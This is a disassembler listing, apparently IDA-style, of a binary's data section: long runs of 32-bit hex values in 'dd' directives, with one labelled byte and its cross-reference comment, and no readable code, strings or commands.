dd 0D8FF368Ch, 42721CE7h, 1160A930h, 607A490Bh, 5160F57h
dd 4A070D2Ah, 1F95D998h, 903FE0AFh, 0C44234B9h, 4012BC6Ah
dd 3059ECF2h, 0B9B5C0D6h, 71BF60E8h, 828A363Bh, 0C52469D1h
dd 0F1B86055h, 9FBD3C81h, 806FFDB0h, 5100BBAFh, 4670E060h
dd 0E9C43AAh, 8856C62Bh, 6254C480h, 0EE167D6Dh, 0A809C241h
dd 0BE4BDD75h, 82387ED9h, 87F77456h, 10FA758Ch, 0EF03AA00h
dd 37D343C2h, 107838FAh, 7ABDF580h, 0E78EA139h, 4BBB381Ch
dd 67D75640h, 0C5ED92Fh, 607FDA6Fh, 7344E5EAh, 7E3BA0C1h
dd 78BE0059h, 11AF8A2Dh, 3D01B879h, 0CE55C9CDh, 29F0E8DFh
dd 477309Ah, 0A25F6E4h, 9B2A340Ch, 7F51576h, 0F8274624h
dd 170CE07Ah, 93F62191h, 98B11C00h, 97A91245h, 816264ABh
dd 0E522377Fh, 3FA1A0BCh, 8F7C6Eh, 0FC79BD2Dh, 70992C32h
dd 2AFB1FC0h, 2A665940h, 3A7278Ch, 0F97CDA75h, 6FF09E65h
dd 9BA08E7Bh, 0D6A853D9h, 0CB4C2889h, 0D2710C12h, 36E4D8Fh
dd 9E98725Dh, 1500F717h, 0BA2E27F3h, 0AB0B2Dh, 69503ADDh
dd 0FA66D376h, 1EEA1A0h, 24CA88h, 4EBE3DC9h, 0C47F5D61h
dd 60499D60h, 0C1A2E75Eh, 5778490Fh, 2BAC3BB3h, 0F1980071h
dd 3CAC09BEh, 43FC1122h, 0DECCA700h, 71D4EA1Ah, 9BFC09D5h
dd 15AA6816h, 0F9748036h, 9D92E189h, 82AE1E3Fh, 93F8C60Dh
dd 11707716h, 789CF748h, 66101D60h, 213D0FFh, 18DA05B4h
dd 0FF43991Bh, 0E854D0D4h, 0F92469CBh, 0E900EABDh, 71C1A8Ah
dd 9F1A0A4h, 0FE3800A8h, 0B6AB6901h, 0D500C131h, 0C6F060DCh
dd 0FEE5D841h, 3BA2260Bh, 0CBD68055h, 9DBD245Eh, 9759E62Ah
dd 40EBC24Eh, 3F4AFC68h, 2C4C375Bh, 91E10D76h, 1BE1EC2Fh
dd 0A506C4h, 0D9FE6035h, 2B49F0A2h, 0D0BA8409h, 2DAB2063h
dd 585ECEh, 4076E64Bh, 3462D233h, 8A35BC09h, 0C766DD59h
dd 3ADB5E19h, 927B6190h, 587735CAh, 5467E459h, 18C9D422h
dd 44C12F8h, 0DB5FE20Bh, 0A03952BCh, 2463DCBCh, 0C1B18E9Fh
dd 901080B8h, 0C23F4E1h, 24AE0182h, 458C3707h, 281C80BAh
dd 72437317h, 98C13044h, 0E757D617h, 40C2AF00h, 0E34AE6D0h
dd 26B9F2FCh, 24726B52h, 95BC8C76h, 47095833h, 834CEDA3h
dd 0B7E8376h, 969B1018h, 0D2C65501h, 23D847C1h, 1F034891h
dd 1C886233h, 12F50197h, 531A121h, 4FBAF408h, 0B790DEE6h
dd 0B4921678h, 9C06191Eh, 931B2401h, 1320F691h, 6BE80034h
dd 372C6A45h, 50B144B4h, 0A0FC1E84h, 15844080h, 9E1D00AAh
dd 9F5F472Eh, 0F4094F6Fh, 89B5C6FBh, 64FC0FBBh, 38C02E92h
dd 9226E387h, 0F0533FD0h, 1CA80684h, 6D868054h, 0B0031F86h
dd 94AADA9Eh, 0E83191CAh, 329C25B1h, 8E0F80EFh, 0CDF892BDh
dd 7F6677D2h, 364001Ah, 0B5A2BC93h, 753C08D6h, 85ACD80h
dd 2CED9h, 4A145F0Bh, 4D015C0Dh, 6A2953EFh, 58229C80h
dd 924F4000h, 3D0E16A0h, 1E13F91Fh, 0CD3E2CC0h, 0F3066Eh
dd 773BB2B6h, 0ACA9B59Ah, 6539C000h, 0A54523AEh, 0DA5900C6h
dd 0DD5F546Ah, 0B6EA296Dh, 8CFD7807h, 0BF90415Ah, 428538h
dd 6FC451C1h, 899A9C0Ch, 7FB72715h, 5BD8C0ABh, 3E1ABEBh
dd 87E975D0h, 82EC1F17h, 8B7239D0h, 0B94F6F62h, 0A9597781h
dd 0FC685E76h, 2BEA4E8Fh, 0A6680CA8h, 0F33C2F53h, 0A0EAC6E1h
dd 7CB8501Fh, 0C03001Ch, 59354840h, 65007E0Fh, 508E8C1h
dd 0E9B0233Bh, 1387AC3Bh, 6B0F7A79h, 7F70A5Fh, 0F6685803h
dd 0B6EE842Fh, 575A17A4h, 55DEEEC0h, 8F4C0E66h, 0BDCA0842h
dd 0F2F92009h, 948B605Dh, 81E68956h, 86AC651h, 86C68706h
dd 1F08FF5Ch, 83C4835Fh, 0FBD8E8E9h, 2F82F9D8h, 93F0E205h
dd 20A2BCD3h, 0A4DBB804h, 99B4EE19h, 0D07A1C66h, 0CE994032h
dd 3EAA253Ch, 4200CAE6h, 90C77CB1h, 0EE12D22h, 1E7D64CFh
dd 566059EEh, 8F661185h, 45EAF400h, 15FA55D3h, 27AA0078h
dd 17AC0D3Ah, 0AF01EF64h, 0BAD4AA1h, 6AD461FCh, 12400D5h
dd 0DC4426D6h, 7570FF40h, 6DA14D07h, 18D0F7CEh, 0F6C82Bh
dd 0AEB26811h, 5ADEAF5Fh, 9F791F00h, 0BABE7A57h, 0F813070Fh
dd 156EF4Bh, 6A418021h, 0D989922Ah, 855CA47Dh, 90DCD3BBh
dd 88FEBBD0h, 5C60F99Ch, 187425Eh, 1F36B40h, 3E688BABh
dd 9E90BCB0h, 603FDC6Ch, 0F0DF00A2h, 0C21EB576h, 8D290815h
dd 91D06F1h, 5D33B18Bh, 6C614999h, 0AFB0922Fh, 854750C7h
dd 0F7A75075h, 84DA9DF9h, 1044FDF4h, 0BABF4BB7h, 0FF003D7Ah
dd 0EBCC906Bh, 852F295Dh, 0BFB5F2B1h, 8D2FFFF3h, 0EF3C0A2Fh
dd 8F68D84Fh, 80E5B7h, 2908D241h, 0F395BE32h, 0C1CDA5D4h
dd 2A604743h, 0BE7BD94h, 17C98D8Bh, 68D1D969h, 67421611h
dd 5F8972A2h, 1CD8EED3h, 26A2F40h, 5D69AA56h, 727EAC0Bh
dd 0D4C8432Dh, 75BD2941h, 0EA9B7B16h, 83C017C8h, 0B9C19F3h
dd 1E95F56h, 7FC21E51h, 8D0F03A7h, 0E273EEA4h, 0FFB48886h
dd 5A9B0054h, 52662108h, 89153B79h, 2DA3298Dh, 0F65AC65Bh
dd 0A2615595h, 0B940743Fh, 0FABFA82Dh, 0DD6EC59Ah, 0B798AF1Dh
dd 16F572BEh, 4B37DCh, 0EF2D6497h, 8D04A54Dh, 50A8750Bh
dd 4CF09EEh, 80CB37F7h, 2ECA724Ch, 0BC276912h, 306E115h
dd 0BC9BAE05h, 4F301B89h, 0B203B0CCh, 0E3207BCDh, 0EDEA10E2h
dd 9D1B5018h, 648E265Ah, 0A2ABB64Bh, 2D5A781Fh, 684CFE8Ah
dd 80A178EFh, 37877FB4h, 4C2F0B0Ch, 9A007C2Eh, 33EDB5FFh
dd 1DABD97h, 0EEB5465Eh, 34616A91h, 0B0020117h, 2C966ADCh
dd 8D8E6FF8h, 0DEBF8110h, 233E71E4h, 6BD81538h, 583ED680h
dd 0C637806Ah, 16424733h, 0A86305FCh, 0A9E30EEEh, 5AE12246h
dd 0B3FFA0F8h, 7C0E7925h, 698494C4h, 64DF8005h, 0EC8CBBBAh
dd 211D41C9h, 6A01E176h, 0FDB55B21h, 0BD3118FAh, 0AD280D21h
dd 0A150C110h, 0B5683Ah
dd 0AC6B7BCEh, 14EAE01h, 9454FA3Ah, 61D85131h, 7D85D480h
dd 0D1690364h, 906D90CCh, 1FE2124Ch, 8403FD18h, 0E9B819C1h
dd 7E5FF193h, 0B001888Dh, 246A0911h, 0C529C265h, 7627305Eh
dd 96FCE924h, 5D3A050Bh, 0BD33C190h, 816FD21h, 484F1169h
dd 7ABF7821h, 6B35201Fh, 2F1AA594h, 19764CFEh, 4F24B19Dh
dd 23664395h, 4FCB724Fh, 4A20C710h, 2044DC8h, 40F11B9Fh
dd 5440F635h, 749DDA8Ah, 3095D453h, 8F3375h, 0FAEC5DD6h
dd 7FCB916h, 74805AB3h, 0CED81118h, 270BB5F3h, 2D1000D6h
dd 0E4BEB077h, 2B2B810Dh, 0DA03B96Fh, 0D590CAF4h, 2ABB78E8h
dd 14E29E17h, 61EB5001h, 0A36CD22Bh, 1A21F480h, 7901785Fh
dd 0D1CBABC1h, 6D6A299Ch, 0C0EC5A32h, 2CDB2E45h, 0EDF84E06h
dd 8C1DA8D5h, 0CF8F0200h, 0AC06FC8Bh, 25572452h, 77109BEh
dd 29618990h, 69CFF197h, 7B898835h, 0C1B882AEh, 0F7F2290Fh
dd 7829DB9Fh, 383B8FB5h, 51E1092Eh, 0A16A02A8h, 14C7772Dh
dd 97FDF845h, 0D54E1EB8h, 952FAFECh, 13FC2BE4h, 5F2A1CB5h
dd 0B036B796h, 122884Ch, 4B9CEBCDh, 20373583h, 715B1F42h
dd 0B99226E3h, 4AC6B872h, 88968801h, 0FF377000h, 73757CF1h
dd 366B0315h, 0E3E68226h, 754E1E2h, 322D1CDCh, 0B135C17Ah
dd 2B27AC71h, 404D95E0h, 0BF166602h, 53A25B3Dh, 0EE037984h
dd 0A8149DEh, 2BFA9F1Dh, 4BDAB3E2h, 1FB1AA02h, 21512CD4h
dd 0D4F75D2h, 0B3328A40h, 0C8604E05h, 1E017B47h, 673CD488h
dd 0C13EDD96h, 2F2B03BAh, 0F4DFB301h, 0E82611Ch, 0BB3D98Ch
dd 1E301AD4h, 9FFCEDD3h, 116F5A2h, 87EB6082h, 916935DDh
dd 104D8216h, 0D1A3602Fh, 0F67C820Ch, 50FB53EBh, 0A30374C2h
dd 9AA47139h, 0F7C80973h, 0F9605CB7h, 504B29D7h, 372E66Fh
dd 55F054A6h, 0A8B19ED3h, 9E5E283Bh, 7910C780h, 7D2A969h
dd 3034CAE0h, 5B3A8038h, 76C912EBh, 44E85D23h, 0AB125868h
dd 2AAADC7h, 5B4876BEh, 0A77E2D78h, 29525707h, 7E890195h
dd 1546DE1Fh, 8BBDB60Eh, 89E4A452h, 0F9A673B5h, 7DB83097h
dd 95E90540h, 0FB968C56h, 285018A3h, 4FE1E60Ch, 6FF8CD40h
dd 92AC483h, 1A058D8Fh, 0E2A5F6FBh, 60ED7CBCh, 4B9BD0Bh
dd 89FE2BC4h, 0FD160BBDh, 0FB6BAF7Ch, 2E002457h, 0D60DE9D3h
dd 795FFE43h, 80C591B8h, 2BC2EEF3h, 25B17EFBh, 67019260h
dd 0D9B0318Bh, 0C6CFDB90h, 55697D7Eh, 86603DCDh, 168EE10h
dd 1B393D2Eh, 8B028F0Fh, 40F88A23h, 7F3ED164h, 78D5B326h
dd 4A0532DDh, 5C433CD0h, 8DDA0BFBh, 1D512B5Bh, 55006418h
dd 0E5154D5Fh, 5FB018ADh, 50F34Eh, 42971A69h, 7F8950C6h
dd 32C10037h, 92438A06h, 0D87D8B90h, 46F63BE9h, 0CFA270B4h
dd 859DE484h, 3BC78086h, 42B9615Fh, 852107E9h, 3D3F2ED9h
dd 799B2F53h, 7700EB92h, 28807D4Eh, 0A0469D33h, 6469949Dh
dd 0AB533D20h, 2813C8h, 0AA8EF9DCh, 5FBB7CCFh, 0C837514Fh
dd 615C7C89h, 0EF260BFh, 0EDBDF5BCh, 0E913C05Eh, 3C026F4Dh
dd 9B1CFEBFh, 50497E7Ch, 7FE10444h, 0F6F0F9E6h, 2126A1FBh
dd 0FD154ABDh, 4F11A3D9h, 1B86E67h, 8693F545h, 0EE70B97Fh
dd 9B2B4E15h, 0C91AC887h, 0CD0E6D5h, 25C5BD2Bh, 954E315Ch
dd 0D82E31B5h, 737EBBA8h, 9D031F8Ch, 0D376A779h, 0E5C531E7h
dd 6F4231AFh, 0DE45CD59h, 5283EAB7h, 0B85C8B6Fh, 2749BD09h
dd 2E61514h, 0B7A24500h, 6AA5D88Eh, 0D96C15BCh, 808294AAh
dd 277E25D7h, 9D895661h, 5B36922Ah, 46D6AE7Eh, 0F3C90218h
dd 7F018C7Fh, 0EB81BA18h, 83A8D60Eh, 98C7C026h, 9F7322AEh
dd 3D5751ABh, 0AD7F007Bh, 85D5D31Ah, 0A2E58812h, 958042E8h
dd 534581E3h, 3572B913h, 0A464802h, 666B7E74h, 0AC259266h
dd 7EAE9A4Eh, 0C890872h, 203F4A24h, 0C2614F23h, 1C7EF844h
dd 0C0106D2Fh, 97BE7E8Ch, 1B13C617h, 5D096987h, 1812EBBBh
dd 2DBB03E9h, 4CDA3BEBh, 0AA688081h, 0F5FA4119h, 0DD8A0122h
dd 0FE255879h, 46D66476h, 2BEA1615h, 1AAC73ADh, 16B1078Ch
dd 0B8F8D61h, 115AE0F8h, 238B37EDh, 0AE07D184h, 1AC8BFDBh
dd 3B8D40CEh, 4FF59958h, 0FF34C5BFh, 1E808ADEh, 33522AC0h
dd 0D65BD10h, 27A1FE50h, 28E51F9Dh, 73E74113h, 4DC8DCB0h
dd 901AD800h, 4BB70585h, 0D43FEB31h, 6E5C8003h, 57E8967Ah
dd 7CB2B00h, 0CCB35650h, 6F20F75Bh, 0F6345B29h, 301DF28Eh
dd 5900A511h, 0E5202D67h, 0C443608Ah, 0EE0D1382h, 19C887DAh
dd 909DCAC0h, 0DBA3258Eh, 5A29AE76h, 53632756h, 14C71E6h
dd 0F12F258Ah, 0AF7DC4C5h, 0EB4ED87Bh, 5D4C465Ah, 0C70074E5h
dd 99A46EDCh, 8CA31359h, 8240FEE5h, 16B7BA17h, 8A2C181Fh
dd 5BDAFE56h, 0EF03EC97h, 1285B36Ah, 37ADC6D9h, 0CEDDECE9h
dd 3E51E2Fh, 0BAE9121Dh, 0DF675708h, 95D617A6h, 8B027EF9h
dd 5F32E9D9h, 0DD4D0D89h, 22B53C2h, 54F22835h, 0B25F8B0h
dd 7C926A69h, 8C39F4F8h, 0C48300A1h, 6E1BA6E3h, 0B4604869h
dd 5A251D10h, 0B87C23B6h, 58199AECh, 0DA392890h, 1DB5BA85h
dd 0E703BBD2h, 0FDF4B750h, 0F17786Bh, 21560587h, 816C0018h
dd 6219BBDBh, 7B975178h, 0DC0A7A48h, 2022162Bh, 19B6D249h
dd 5EDE819Ch, 0C17FE923h, 0DEB1C8Ch, 9BF6FCh, 3C8384CCh
dd 0CE08C104h, 2FE52320h, 26C3F49Ah, 0B908AD94h, 0E9CAC3Bh
dd 17E18509h, 0F0AAB494h, 0FBB76AA1h, 6ADA783Ch, 95F27B5Bh
dd 0BF29CF00h, 5FBA6FDBh, 1B2D581Dh, 4A787A80h, 0ED2FAA6Eh
dd 0D31AB63Ch, 568274E6h, 0B95F20D5h, 12218978h, 0DA4A3778h
dd 0C01CC805h, 3977ABCDh, 0D0C1D01h, 0D1FFC5DBh, 0F7B88039h
dd 0C20035F6h, 0F5600CFAh, 12290940h, 0FC2EFD9Dh, 82E9E497h
dd 0A6F07156h, 0DE5E8B2Fh, 4A6AB0F0h, 0E003B602h, 7F864EE2h
dd 8B182FCCh, 324A8CD6h, 0F257253Ch, 2FB7BFE8h, 2402802h
dd 20EE8022h, 0B04EB5F3h, 0ECEE2579h, 0C14F6F56h, 59BF37B0h
dd 2E25E3C4h, 0CD954311h, 10AD998h, 382EC4E9h, 0C490DC5Dh
dd 0EB386D9Dh, 6A31E55Eh, 0A62F26C9h, 95BF0085h, 177D8FA0h
dd 8DED4B6Eh, 2A900963h, 0FB92B7DBh, 374018D4h, 976D0DB6h
dd 0F446126Fh, 252BE656h, 6D905F60h, 614BCE8Bh, 1988069Bh
dd 801EC4h, 25907F67h, 0BA208D89h, 0BD295250h, 5F8B2D54h
dd 168C5B4Bh, 6CCF2F80h, 689DD974h, 0FE2F3BAEh, 0CD7C2F77h
dd 398BE16Fh, 622B09F0h, 812025F8h, 1C6505D7h, 1B009CDh
dd 0E870E6F5h, 7187100Eh, 0D4972Ah, 1A015058h, 0A533898Dh
dd 12B64377h, 0B4E25292h, 2B88F0F7h, 1725319Dh, 21C8B6A3h
dd 0EF212AA2h, 0A02E5F53h, 0D1BD2AF5h, 250588C3h, 7D090126h
dd 9F1591Eh, 0ED58FAB3h, 597C91B0h, 97C82B80h, 48B5306h
dd 0FCC8D14Ah, 86E27Bh, 6EAB5E97h, 99191639h, 0ED4C0400h
dd 2BD2E2F1h, 0B8E95E7Ch, 56F7C23Ah, 8D6BE05Ah, 3F60810Ch
dd 0BDC20FB8h, 5F4E11B9h, 4282AA00h, 0BAF0A43h, 80614B4Fh
dd 0F05BB04h, 103FEC36h, 77838262h, 4C99914Eh, 13D3D880h
dd 483E36h, 6E6199DCh, 37349FD7h, 2AC89310h, 5F018B02h
dd 2BD13AE9h, 5723CD09h, 0D89D5864h, 52D395B4h, 57122191h
dd 6620FA31h, 0A0A5835Fh, 4A80FE1Dh, 9550E4D7h, 10D284A4h
dd 471106B6h, 4560402Ah, 361FA000h, 21C78AA2h, 9D1007EBh
dd 2233B6Eh, 1840AC0Fh, 41B2886Ah, 30BAD94Bh, 2F398D77h
dd 0AA42B980h, 0B5E818AFh
dd 0E57500A6h, 6A1F64CDh, 6300270Eh, 3BAF3A65h, 645AD6B2h
dd 0B8FCEE05h, 0B8819F13h, 4237DD80h, 0B13F61F2h, 0C7B05DFAh
dd 912D9529h, 4BC5D913h, 0D54931EDh, 4855885h, 0FADB2BCBh
dd 3D2B568Dh, 29A77103h, 0EFB879h, 0D6706143h, 11369C88h
dd 72E98E5Eh, 55C67A9h, 0AF5D6B2Ah, 0FB53D71Dh, 0F8D94ECDh
dd 0DE61202Ah, 9905E45Dh, 0AA83CA19h, 0C08221ABh, 71B0C4E1h
dd 5F059D00h, 0FA0140BDh, 50D4F2C9h, 380490F7h, 8DCB5BB2h
dd 25748903h, 5ADE5903h, 4D9FE4D8h, 34ACC033h, 2A04F542h
dd 0C51D4835h, 7CA2D9ACh, 0C380915Bh, 0EED2B7C6h, 8C4400B0h
dd 108220D4h, 9C02F96Ah, 0A4533AB1h, 4C2E462Ch, 192A1A60h
dd 0DD614A9Fh, 0A9C63DD1h, 6EFA8E84h, 4A72F81Ah, 0E69317E9h
dd 6217A2C0h, 484464Bh, 9E1166EEh, 0A1BFAC14h, 7A3B0478h
dd 0EB1117BDh, 0CCA45200h, 9BF3A5Fh, 6F1DF8E4h, 5E46C859h
dd 2542906Bh, 0F6F124A5h, 232778CFh, 0B31D5B9Dh, 0C0F64EDDh
dd 0E45E72A2h, 0B0133540h, 0CC660073h, 39826B61h, 11A864F2h
dd 0A6131B5Eh, 0E8B87FC3h, 0D558AAC9h, 5483E295h, 6DBF01D6h
dd 934217Bh, 7E75A13Eh, 0FAF0D5F6h, 0E828172Ch, 81000B13h
dd 4F505C3Bh, 75637014h, 0CA80007Ch, 82B7F6D4h, 609F328Dh
dd 4AE859A2h, 0BBC08C5Bh, 250EF03Ch, 0BEEF6E7Ch, 562FD426h
dd 4AB70AEh, 738EE0B6h, 0FA6EC3E4h, 90FF0613h, 32BB1F16h
dd 66F5470Fh, 5413EE0h, 0F6906D93h, 0E8F2E31Dh, 74BE742Fh
dd 0BAC197CDh, 5F5678D9h, 0A8A07CE7h, 9D707A02h, 0EBE03919h
dd 7EA3D56h, 90DDC531h, 0CCAF68B4h, 0FF106928h, 0FA80F94Ah
dd 0F576CF50h, 16800D78h, 6E7338FAh, 2EB3138h, 4341A007h
dd 0A2CE5593h, 0CE1CF125h, 5F317603h, 12F3B9C1h, 499E0226h
dd 0D6F5C680h, 8C4B937Bh, 16B21EF6h, 4BEC2630h, 601E8C55h
dd 8D295104h, 0A4FB1615h, 11259EDBh, 0E620C661h, 436F12E9h
dd 322E347h, 74A8E781h, 5789BAFBh, 0C0E05ECDh, 1C08C5F2h
dd 87B5E292h, 5B03602Eh, 0B2A62157h, 0B741619Bh, 0CA6E018Dh
dd 0BCF93DECh, 13B4CA95h, 0AB464A89h, 1D00FE6Eh, 0DA6FDFAh
dd 502D96DDh, 7082F452h, 3205771Eh, 310FDEACh, 0B04B8FB8h
dd 1044E951h, 5C1400FBh, 0BA0F17Bh, 630071FEh, 99C4614Fh
dd 0B496DF39h, 4105DC8Bh, 1A606B2Fh, 35E7B8Ch, 9E573523h
dd 0C8E8E002h, 1300922Bh, 0B2FD6E27h, 5A268658h, 8363C8D2h
dd 469B2000h, 0F4AD0928h, 2A387777h, 61797Fh, 1462E89Fh
dd 4A988565h, 0E5C70E00h, 57FA8F07h, 8D5F4B3Dh, 0A7F02FCCh
dd 812A40D5h, 0BCDFE304h, 268076C3h, 95024D9Dh, 60C129D9h
dd 902B8DB4h, 8B754595h, 8A57FBC5h, 5FC263B1h, 635A19B1h
dd 1E5558C3h, 4D673B61h, 6E34C0A4h, 0B53F296Ch, 82F7CB35h
dd 7193093Bh, 0F209D71Eh, 35FF506Eh, 801A11F8h, 97D33C40h
dd 0D8F22785h, 0F01D7E4h, 0FF21935Eh, 383613BBh, 0EC3DC04Fh
dd 7C9D6190h, 0B65949D0h, 0D4EAF6E9h, 0F94AF4FEh, 3338D2CAh
dd 0EEC8759h, 8555612Eh, 0CB33A509h, 1A235078h, 0A5E8BF9Dh
dd 614BC38Ah, 5EBA0FF3h, 0C501506Ah, 14A87921h, 0A4DF026Bh
dd 7ABA2F8Ch, 0B34803C0h, 0EDFA8AD7h, 2D628Ch, 0E065C12Bh
dd 0CDA93A67h, 0FA773FEAh, 4FF51497h, 0E07AFF7Eh, 634EC904h
dd 341D8E02h, 0A6AF5A51h, 4D73E793h, 60FD8AA8h, 0BD1CE5FFh
dd 125CB779h, 8A03D31h, 74A5553Dh, 1984CF5Dh, 25802827h
dd 0E3C6ADD3h, 5DCF2BCh, 78B83723h, 0FC20AE38h, 3F155C6Eh
dd 6A85857Eh, 0B29603AAh, 0FD69000Eh, 27B4CE93h, 0FB73CF9h
dd 40B7F85Fh, 53006020h, 7270BA5Eh, 6261277Fh, 0D1DC896h
dd 17C9A94h, 220A092Fh, 5F047976h, 907524BAh, 0B460C4Bh
dd 5BB604DBh, 46D6157Eh, 57D60919h, 0DB89DF89h, 58A4EF5Bh
dd 974DE0D6h, 7C5BD609h, 4404CD8h, 0F850E6C6h, 58A5E35Bh
dd 2EAD16EBh, 0A996ABF9h, 723DA973h, 530CBBD3h, 5650652Dh
dd 0FAB42C20h, 0C85E78B6h, 0D500CFC4h, 9B78E1D9h, 41CDB3Eh
dd 9AB839E8h, 6274BFAFh, 0C4A829ADh, 0C09EA500h, 58F021AAh
dd 0DD0E5834h, 0F6488012h, 301AB244h, 5706B599h, 0E56F4C1Eh
dd 0D88B2544h, 5470F1h, 0CA9C5C27h, 9ED13D28h, 0E9B95475h
dd 0B1F8B81h, 0BB78635Fh, 5C6300D6h, 5039CB2Ah, 0F2A2605Ah
dd 2256FB00h, 8F1F35Bh, 283F1E02h, 0D5927C58h, 66FE8A44h
dd 742D4FBCh, 0BFDF458Dh, 17232D6Bh, 8C3A7002h, 0F48275F2h
dd 4A5EB894h, 45207169h, 2B7BAA57h, 56B66A01h, 30A8E2B7h
dd 2D41512Ah, 152C9071h, 1F562E80h, 0D970F26Ch, 41D02509h
dd 0D6A37593h, 0C02F5B7h, 0BAC6FCBBh, 0DD6A5D28h, 2704DD7Eh
dd 1FEA9655h, 0C1FBAD08h, 0FE181B79h, 728ADF00h, 92B23FE8h
dd 0A7BAB1F5h, 718B8975h, 5F03543Ah, 31D63B53h, 95A1063h
dd 0DFEF4827h, 0F2E07FFh, 30035E6Ah, 0B7DC4F94h, 0AE52E136h
dd 0B4A3F1E7h, 4B1D5430h, 0D2C6F234h, 3FA908F9h, 885B75F3h
dd 507FB34h, 58555F6Dh, 0CD2A3DE0h, 29CB0963h, 84795383h
dd 10542444h, 0A044C4C0h, 303AC064h, 0F22578D4h, 450E601h
dd 2B7943BBh, 7F4CBC05h, 3792C9FCh, 0B32B1E97h, 0BE6E582Bh
dd 601E072Fh, 80134540h, 0E0971CE9h, 0E8F781A3h, 7DBC2DA7h
dd 8F423EF8h, 5BD290Eh, 9D090510h, 70BF2545h, 0E62ABB44h
dd 5053E813h, 0A6800EF9h, 5C6B190h, 4694A02h, 5821A31Ch
dd 0ED5F5B6Ah, 0E0A9978Eh, 6500CEB8h, 0DD4A71A7h, 0BF6EB309h
dd 0E04EE1CFh, 0DCBB2A5Bh, 0E3742782h, 722D4356h, 0C8F39578h
dd 0DD67F97Bh, 0C6359841h, 9DBC802Bh, 0E4B72C75h, 90FC2E88h
dd 228B1C70h, 0A81230F1h, 0DE6A2A25h, 1900DE39h, 0BF58317Dh
dd 4CA096F0h, 0D1C50706h, 0BB6C0222h, 0DB624969h, 5B69BB56h
dd 0BF35A7B5h, 3209D30Fh, 17913A04h, 6296BF00h, 0FF2D4258h
dd 1CD9B7D1h, 0F8B500C9h, 0ADA26B41h, 2FD641B7h, 42B8382Eh
dd 4D046BFh, 0B589026Ah, 4033BCB9h, 84583BAh, 25CFB62Eh
dd 420DFEFEh, 0BA5528A9h, 4671C8h, 0F6EBEFDBh, 0C48649Ch
dd 7B9B3B86h, 2D126A07h, 2660581Dh, 4B81E95Dh, 10638B0Fh
dd 15F8C63Fh, 0B2A4018Ch, 21BD0160h, 3CC87F08h, 2E618111h
dd 0DD04E36Eh, 8473E778h, 14D5FB83h, 23256BBEh, 0BA490118h
dd 3A6A66E9h, 0BF00F7F3h, 377A1068h, 0A0958531h, 25DB8103h
dd 731E01ADh, 0DF59BB90h, 0D850E530h, 953E16A4h, 0FA8B1251h
dd 23976EBBh, 0AD311215h, 0FFF8C9B0h, 33B053C6h, 0FB6A0740h
dd 0DCF03236h, 0A33E70D4h, 76F71615h, 23E18C04h, 0BC5A9CB9h
dd 0FB43A04Bh, 5028FCBCh, 458C388h, 0FC4D2463h, 88AAB960h
dd 1E74A75Bh, 41D38100h, 25270474h, 0CE5070E6h, 0A46B3041h
dd 0A46114Ah, 92973A22h, 0D790D7E3h, 7300A2A9h, 8EC9E158h
dd 12A440FAh, 0E1C52FFBh, 0F5AC41A7h, 0B63B18h, 4CABA84Ah
dd 2562D2Bh, 0C1A3198h, 2740A190h, 0ECD29D61h, 0DDAD46C9h
dd 800FEC18h, 604F1E64h, 8980E7A8h, 0E47CCAB8h, 1F68DE3Eh
dd 78F0A395h, 5E3D31C8h, 2966E65Bh, 4280AEE9h, 38A53658h
dd 153D0104h, 0EA26CE95h, 2FF8D78Eh, 2B052143h, 0FE8A60C8h
dd 0DC12CC0Bh, 2F9E0E9h, 0B2074161h, 367B4BB4h, 95AB3B11h
dd 90D18BECh, 29C14418h, 21546DF6h, 43D387D4h, 0DADE9430h
dd 51F7002Ch, 0F94CB0E6h, 0D1A2CC9Eh, 5B77157Ah, 9539E49Fh
dd 0D14DF490h, 0DC9C0E0Fh
dd 0BF1760ADh
db 6Eh, 0FEh, 0F7h
byte_544547 db 5Bh ; DATA XREF: ___:off_445248o
dd 105BF223h, 0F9C90C75h, 0E44F772h, 0A5BB0052h, 5F327109h
dd 829937E9h, 0FF8D1AB9h, 29D90E03h, 11E17310h, 322B4D20h
dd 8CA51F17h, 629D441Bh, 95893951h, 1BB75E82h, 4C1E05Ch
dd 2E371943h, 0AAA401A0h, 9096FD25h, 0C2845Bh, 27654EF3h
dd 6C14CB40h, 1169107h, 4A0278F0h, 2680E086h, 6B2A1AE0h
dd 0B8537C5Fh, 9D0270h, 0A2D60AD8h, 0D1DDE2EAh, 0FE07DE97h
dd 4FBBDB02h, 507CA349h, 6B15417Ch, 91476F3h, 0B984CDBDh
dd 60929243h, 333818F7h, 1A552F95h, 8982217Bh, 421E98Dh
dd 5956BC61h, 2794BC75h, 1E44541Bh, 0FCB0B600h, 0A86DC4F5h
dd 0F22900C8h, 440122F4h, 374C200Fh, 0AC18C073h, 2FD1FCh
dd 7CA7DA7Bh, 6EAAD7D3h, 6F5BCA2Ch, 28135988h, 22532ADh
dd 7FFFCB3h, 6F09B89Ch, 0DAB460FBh, 7120AE3Ah, 9502FEB3h
dd 0BC7C2E76h, 0AFE0E3AEh, 301C99F1h, 42134EC7h, 0AF3069B6h
dd 9B9D15Eh, 0ED057B10h, 1719C5FFh, 0FC06A959h, 39058C14h
dd 25699531h, 4A1B8AAFh, 0EF8F449Ah, 0FFF5D980h, 0D609B92Fh
dd 0A9B59D23h, 0D681FE02h, 0E94E1846h, 904D2F19h, 41B5617h
dd 252F5B3Eh, 0D674AEE5h, 0AAA52DE6h, 5F2081A1h, 9B8B95A1h
dd 6868975Dh, 2B856069h, 795AEFD9h, 0EBE094B6h, 464EF5B6h
dd 9C2D0C8Ah, 7F8409BDh, 80F828CCh, 5A1CC910h, 0CA7A90A1h
dd 4EB8386Dh, 15EC84ADh, 65194A00h, 9A8B2D48h, 20EE90B0h
dd 3762585h, 9774FABDh, 0AD7B4CBAh, 74082050h, 5E0E14E7h
dd 7131F25Ch, 60E1FF69h, 3BE765CBh, 7F8845E3h, 4940CF61h
dd 9888220Bh, 27C1278Dh, 3F110947h, 8ABB6602h, 0CCDE601Ah
dd 0FC8E5ADCh, 0C8F604D3h, 0ECBC1B14h, 0DDE31C79h, 122A1232h
dd 0BB8D16C0h, 89E63C64h, 0B99AAAA0h, 8D4E4B13h, 4A2F11A4h
dd 0E8EAAD01h, 44C7B86Ch, 0F4A1600Eh, 0D509C22Dh, 0DB9D34C4h
dd 18197134h, 0D93204F2h, 870E5FC0h, 0A8FCBB69h, 92F8142h
dd 0C898DB2h, 76A7FF5Eh, 1646D64Dh, 5074C05Ah, 219C1AB7h
dd 79950902h, 812A8006h, 2559B8C7h, 0EC57D8Ah, 0CE45112Fh
